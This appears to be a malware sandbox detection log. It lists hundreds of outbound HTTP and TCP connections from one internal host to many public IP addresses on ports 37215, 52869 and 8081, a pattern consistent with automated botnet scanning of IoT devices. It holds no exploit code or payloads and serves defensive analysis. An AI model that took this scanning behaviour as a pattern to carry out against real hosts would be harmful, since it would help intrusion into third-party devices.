Source: unknown	Network traffic detected: HTTP traffic on port 56030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35360 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47550 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55434 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52456 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49556 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54724 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45992 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46042 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51734 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46984 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60050 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44268 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43994 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39248 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39728 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52960 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48016 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39718 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48680 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56038 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58720 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35448 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43302 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52714 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59014 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50516 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55682 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51680 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40850 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33974 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45164 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37042 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46384 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42636 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47808 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41812 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41774 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55660 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38540 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50718 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41826 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44250 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59896 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56876 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54114 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36028 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59842 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48580 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53672 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33458 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52464 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57570 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34322 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53958 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51512 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45428 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47368 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55364 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50982 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40048 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59942 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46082 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48978 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41580 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51760 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52108 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41132 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49518 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41686 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40486 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37436 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36614 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35828 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57900 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36720 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49318 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58016 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51052 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46610 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49280 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53066 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44854 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 32944 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38224 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43704 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45982 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43132 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52350 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34484 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53784 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40884 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48578 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51650 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60124 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50256 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38538 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47376 -> 8081

Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.74.63.134:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.78.32.167:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.196.172.22:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.12.227.51:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.52.23.60:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 24.34.240.214:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.26.139.46:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 61.165.104.213:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.40.93.165:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.81.117.241:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.11.56.240:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.255.176.169:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.135.213.6:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 126.166.207.208:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.65.98.19:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 52.155.86.86:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.24.4.235:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.137.75.124:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.108.206.182:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 153.57.57.9:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.95.27.148:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.216.161.59:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.173.192.227:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.196.31.171:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.208.127.244:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.20.249.180:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.99.10.85:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 32.244.217.115:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 37.110.59.42:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.188.32.205:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.88.41.229:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.245.238.163:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.232.128.49:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.122.12.187:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.243.57.159:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 124.232.166.233:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 50.0.188.147:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 118.0.129.46:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.136.249.217:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.30.62.141:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 141.92.189.24:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.92.46.65:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.136.233.151:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 117.157.75.129:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.121.47.232:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 43.186.3.173:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.79.186.119:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.171.70.30:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.228.255.157:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.203.119.152:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.66.212.124:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.249.151.109:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.195.106.45:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.77.31.163:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.34.34.12:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.59.92.194:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.80.60.235:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 90.241.170.10:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 212.127.34.6:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 4.79.178.142:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.241.150.191:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 24.132.91.59:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.8.234.46:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.40.48.20:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.164.125.148:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 13.86.185.73:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.255.17.174:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.183.27.248:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.226.92.193:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.30.131.179:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 76.199.109.54:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.212.179.177:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.47.87.238:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 60.250.175.203:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.136.175.137:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.181.156.3:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 138.242.39.199:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.170.105.28:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.229.133.19:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.115.1.213:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 145.169.160.7:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.210.50.88:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 66.133.8.3:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.71.253.214:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.37.177.219:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.160.188.126:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 60.162.189.105:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.180.195.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.248.220.216:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.153.186.108:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.70.43.24:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 152.71.212.76:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.77.202.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.131.64.64:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.145.5.36:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.117.226.58:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.181.208.214:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.17.71.182:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 42.255.69.128:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 207.21.193.219:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.177.125.202:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.156.215.126:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.31.140.76:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 199.67.163.62:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 37.3.189.109:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.75.252.43:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.10.15.208:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 199.150.19.53:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.220.26.182:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.88.129.45:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.11.29.10:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.233.169.62:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 113.163.100.190:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 139.212.201.39:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.81.103.110:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.250.180.168:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 116.213.32.189:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.62.166.112:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.7.80.153:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.27.117.169:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.89.17.37:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.200.12.199:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 81.216.201.21:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.102.177.131:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.59.236.255:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 161.127.78.197:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.239.228.171:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 181.36.87.26:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.178.175.60:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.202.208.182:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.26.172.196:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.249.254.134:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.43.195.147:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.71.22.237:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.255.88.114:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.114.223.179:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.199.221.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.5.87.246:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 221.140.88.165:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.31.28.133:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.38.47.187:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.149.227.175:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 41.253.214.190:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 25.177.237.227:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 157.176.84.98:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 223.55.57.130:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.153.111.27:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.228.242.5:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 40.213.71.109:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 197.212.139.213:37215
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 1.178.171.139:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 51.223.103.159:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 4.252.192.158:8081
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 123.25.87.128:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 155.99.223.54:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 103.164.24.48:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 163.92.213.232:37215
Source: global traffic	TCP traffic: 192.168.2.14:52725 -> 20.151.206.52:37215
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 148.158.175.129:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 79.211.151.120:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 110.230.124.54:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 150.134.66.131:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 125.231.197.172:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 139.158.68.80:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 149.47.207.151:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 94.214.56.104:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 99.217.244.226:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 62.143.254.184:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 222.1.41.48:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 85.17.118.93:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 212.169.201.173:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 187.124.242.50:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 46.171.147.111:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 99.234.31.89:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 128.193.207.148:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 80.136.87.253:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 73.197.147.136:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 151.167.199.174:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 182.233.159.5:8081
Source: global traffic	TCP traffic: 192.168.2.14:50165 -> 149.132.242.43:8081
